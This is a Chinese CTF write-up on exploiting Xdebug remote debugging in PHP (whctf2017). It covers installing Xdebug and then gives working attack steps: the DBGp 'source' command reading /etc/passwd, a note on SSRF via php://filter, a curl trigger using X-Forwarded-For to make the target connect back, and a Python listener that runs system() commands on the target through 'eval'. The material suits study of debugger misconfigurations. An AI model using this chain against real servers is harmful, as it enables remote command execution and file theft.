XDEBUG远程调试

在whctf里膜到了这一题,致敬r神
首先要下载xdebug插件
然后,我们需要phpize来安装PHP的插件

apt install php7.0-dev

之后就是我们进入文件夹
编译

phpize
./configure config if php-config is not in your path)
make
make install

记得保存下xdebug.so文件cp modules/xdebug.so /usr/lib/php/20151012
逐一完成之后,就完成了编译了
然后我们就要把自己的xdebug在php配置好
在php下apache文件夹里的php.ini一定要配
我们要打开

zend_extension="/usr/lib/php/20151012/xdebug.so"
extension = xdebug.so

然后就是自己配参数了

原理

这里的原理是:
xdebug远程的就是利用的是DBGp协议
DBGp里有一些命令:

  1. source
source -i transaction_id -f fileURI

transaction_id 每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 受限于 open_basedir
利用方式:

source -i 1 -f file:///etc/passwd

另外,此处可以用 php://filter 来读取文件,所以也可以用来 SSRF。

  1. eval
eval -i transaction_id -- {DATA}

{DATA} 为 base64 过的 PHP 代码。

xdebug题目

whctf2017里的一道web题,主要是xdebug的远程调试导致可以执行任意命令
这里主要是xdebug.remote_connect_backxdebug.remote_enable这个参数要打开
这样也是比较简单
然后就是直接上:

#!/usr/bin/python2
import socket
import re
import os

ip_port = ('0.0.0.0',8802)
sk = socket.socket()
sk.bind(ip_port)

#os.system('curl "http://192.168.60.133/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For: 192.168.60.132"')

sk.listen(10)
conn, addr = sk.accept()
#curl "http://192.168.60.133/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For: 192.168.60.132"


while True:
    client_data = conn.recv(1024)
    print (client_data)

    data = raw_input('>> ')
    conn.sendall('eval -i 1 -- %s\x00' % ('system("'+data+'");').encode('base64'))

然后就是,我在服务器可以监听端口,让shell反弹到我的服务器上
这里我用其它的去访问curl "http://*.*.*.*/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For: *.*.*.*"类似的。这里的xff会给xdebug远程调试的信息,就是链接这个xff,然后,我们使用上面说过的eval的命令,就是PHP语言的eval,我们执行system函数,就会返回信息,这些信息也以base64的形式返回。

这样就是了

你可能感兴趣的:(XDEBUG远程调试)